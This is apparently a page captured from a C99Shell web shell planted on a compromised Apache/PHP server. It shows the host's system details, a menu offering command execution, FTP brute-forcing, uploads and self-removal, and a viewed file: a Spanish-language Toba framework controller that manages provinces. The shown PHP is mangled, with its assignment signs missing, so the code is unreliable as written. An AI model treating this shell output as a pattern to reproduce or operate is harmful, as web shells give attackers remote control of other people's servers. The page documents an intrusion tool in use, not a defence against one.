!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/curso_intro/php/operaciones/provincias/   drwxr-xr-x
Free 14.56 GB of 61.93 GB (23.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ci_provincias.php (1.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 
class ci_provincias extends toba_ci
{
    
//---- cuadro -----------------------------------------------------------------------

    
function conf__cuadro($componente)
    {
        
$datos toba::consulta_php('consultas')->get_provincias();
        
$componente->set_datos($datos);
    }

    function 
evt__cuadro__seleccion($seleccion)
    {
        
$this->dep('tabla')->cargar($seleccion);
    }

    
//---- form -------------------------------------------------------------------------

    
function conf__form($componente)
    {
        if (
$this->dep('tabla')->esta_cargada()) {
            
$datos $this->dep('tabla')->get();
            
$componente->set_datos($datos);    
            
$componente->ef('id_provincia')->set_solo_lectura();
            
$componente->evento('baja')->set_msg_confirmacion("żEliminar provincia \'\'{$datos['nombre']}\'\'?");
        }
    }

    function 
evt__form__alta($datos)
    {
        
$this->validar_datos($datos);
        try {
            
$this->dep('tabla')->set($datos);
            
$this->dep('tabla')->sincronizar();
        } catch (
toba_error_db $e) {
            
$sqlstate $e->get_sqlstate();
            if (
$sqlstate == 'db_23505') {
                
toba::notificacion()->agregar('El código se encuentra duplicado.');
            }
        }
    }

    function 
evt__form__modificacion($datos)
    {
        
$this->validar_datos($datos);
        
$this->dep('tabla')->set($datos);
        
$this->dep('tabla')->sincronizar();
    }

    function 
evt__form__baja()
    {
        try {
            
$this->dep('tabla')->eliminar_todo();
        } catch (
toba_error $e) {
            
toba::notificacion()->agregar('No es posible eliminar el registro.');
        }
        
$this->dep('tabla')->resetear();
    }

    function 
evt__form__cancelar()
    {
        
$this->dep('tabla')->resetear();
    }

    function 
validar_datos($datos)
    {
        if (
strlen($datos['nombre']) < 5) {
            throw new 
toba_error('El nombre ingresado es demasiado corto.');
        }
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.601 ]--